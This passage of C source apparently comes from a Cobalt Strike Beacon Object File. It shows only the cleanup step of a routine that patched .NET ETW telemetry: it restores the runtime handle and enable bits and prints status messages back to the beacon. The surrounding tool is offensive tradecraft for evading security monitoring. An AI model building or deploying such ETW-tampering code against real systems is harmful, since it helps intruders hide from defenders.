restoreStd(kernel32Base, hOriginalStdout, hWritePipe);
BeaconPrintf(CALLBACK_OUTPUT, "[+] Done \n");
// restore handleAddr
if (patchEtwHandle) {
turnOnEtwHandle(handleAddr, handleVal);
BeaconPrintf(CALLBACK_OUTPUT, "[+] DotNETRuntimeHandle value restored: %x\n", *handleAddr);
}
// restore enable bits
if (patchEtwEnableBits) {
turnOnEtwEnableBits(enableBitsAddr, enableBitsVal);
BeaconPrintf(CALLBACK_OUTPUT, "[+] DotNETRuntimeEnableBits value restored: %x\n", *enableBitsAddr);
}
BeaconPrintf(CALLBACK_OUTPUT, "[+] Done\n");
}